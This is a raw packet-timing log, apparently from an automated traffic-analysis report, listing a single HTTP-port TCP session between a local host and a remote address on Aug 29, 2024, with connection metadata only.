Aug 29, 2024 18:36:59.306998014 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.307009935 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.307019949 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.307075024 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.308821917 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.308834076 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.308887959 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.310480118 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.310491085 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.310527086 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.312616110 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.312642097 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.312652111 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.312678099 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.312690973 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.382869005 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.406707048 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.603091002 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.603574991 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.603588104 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.603643894 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.605875015 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.605892897 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.605926991 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.608318090 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.608374119 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.609242916 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.609257936 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.609294891 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.612557888 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.612574100 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.612631083 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.614717007 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.614729881 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.614774942 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.616362095 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.616374016 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.616417885 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.618483067 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.618500948 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.618570089 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.619976997 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.619990110 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.620027065 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.621963024 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.621977091 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.621988058 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.622031927 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.624022961 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.624036074 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.624066114 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.625880957 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.625893116 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.625952959 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.627362967 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.627376080 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.627430916 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.628854036 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.628866911 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.628876925 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.628907919 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.628931999 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.630357981 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.630372047 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.630417109 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.632244110 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.632256031 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.632317066 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.633565903 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.633579016 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.633616924 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.635272026 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.635284901 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.635338068 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.637258053 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.637270927 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.637279987 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.637326002 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.638689041 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.638703108 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.638746023 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.640173912 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.640186071 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.640221119 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.641623974 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.641637087 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.641673088 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.643225908 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.643239975 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.643249989 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.643269062 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.643301010 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.702023029 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.702653885 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.702665091 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.702702999 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.711014986 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.711077929 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.711298943 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.711312056 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.711368084 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.712100983 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.712112904 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.712150097 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.713807106 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.713819981 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.713854074 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.715176105 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.715188026 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.715197086 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.715368986 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.716706991 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.716720104 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.716762066 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.718734980 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.718745947 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.718786955 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.719774008 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.719785929 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.719815969 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.721462011 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.721474886 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.721506119 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.723531961 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.723545074 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.723556995 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.723578930 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.723592997 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.725137949 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.725150108 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.725209951 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.727334023 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.727348089 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.727400064 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.731357098 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.731368065 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.731414080 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.731838942 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.731851101 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.731862068 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.731885910 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.735286951 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.735300064 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.735341072 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.736016035 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.736028910 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.736059904 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.739280939 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.739295006 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.739341974 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.741120100 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.741132021 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.741178989 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.745409966 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.745439053 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.745449066 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.745480061 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.745516062 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.746773005 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.746788979 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.746817112 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.749766111 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.749778032 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.749823093 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.750520945 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.750533104 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.750564098 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.753725052 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.753739119 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.753747940 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.753803968 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.754518986 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.754530907 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.754561901 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.756386042 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.756398916 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.756442070 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.757618904 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.757632971 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.757675886 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.759290934 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.759305000 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.759361029 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.761353016 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.761365891 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.761375904 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.761403084 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.761415005 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.763364077 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.763376951 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.763431072 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.765836000 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.765850067 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.765885115 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.767888069 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.767899990 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.767960072 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.770091057 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.770103931 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.770112991 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.770144939 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.771645069 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.771657944 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.771714926 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.773575068 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.773586988 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.773637056 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.775180101 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.775193930 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.775232077 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.802315950 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.802480936 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.802635908 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.802645922 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.802704096 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.805982113 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.805993080 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.806065083 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.809103966 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.812963009 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.813038111 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.813312054 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.813322067 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.813374996 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.814533949 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.814549923 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.814591885 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.815985918 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.815996885 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.816039085 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.817218065 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.817229986 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.817276001 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.818506002 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.818517923 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.818567991 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.819731951 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.819744110 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.819752932 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.819782972 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.821384907 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.821397066 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.821444035 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.822807074 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.822818041 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.822861910 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.825320005 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.825330973 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.825378895 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.827441931 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.827452898 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.827462912 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.827617884 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.831105947 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.831118107 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.831231117 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.833524942 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.833535910 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.833590984 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.835551023 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.835561991 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.835608006 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.836884975 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.836896896 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.836929083 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.838891983 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.838902950 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.838915110 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.838953018 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.839929104 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.839940071 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.839984894 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.841275930 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.841288090 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.841329098 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.842375994 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.842387915 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.842458010 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.844114065 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.844125032 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.844135046 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.844177961 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.844192982 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.845972061 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.845983982 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.846043110 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.848720074 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.848733902 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.848778009 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.850672007 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.850691080 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.851440907 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.852325916 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.852338076 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.852386951 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.854340076 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.854355097 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.854366064 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.854418039 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.856264114 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.856276035 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.856328964 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.858778000 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.858789921 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.858848095 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.860964060 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.860975027 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.861023903 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.862230062 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.862241983 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.862251043 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.862278938 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.862292051 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.863862038 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.863874912 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.863923073 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.864613056 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.864624977 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.864670038 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.867324114 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.867335081 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.867381096 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.868314028 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.868324995 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.868366003 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.870699883 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.870712042 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.870721102 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.870750904 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.871592999 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.871604919 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.871644974 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.873656988 CEST	80	49710	144.91.79.54	192.168.2.6
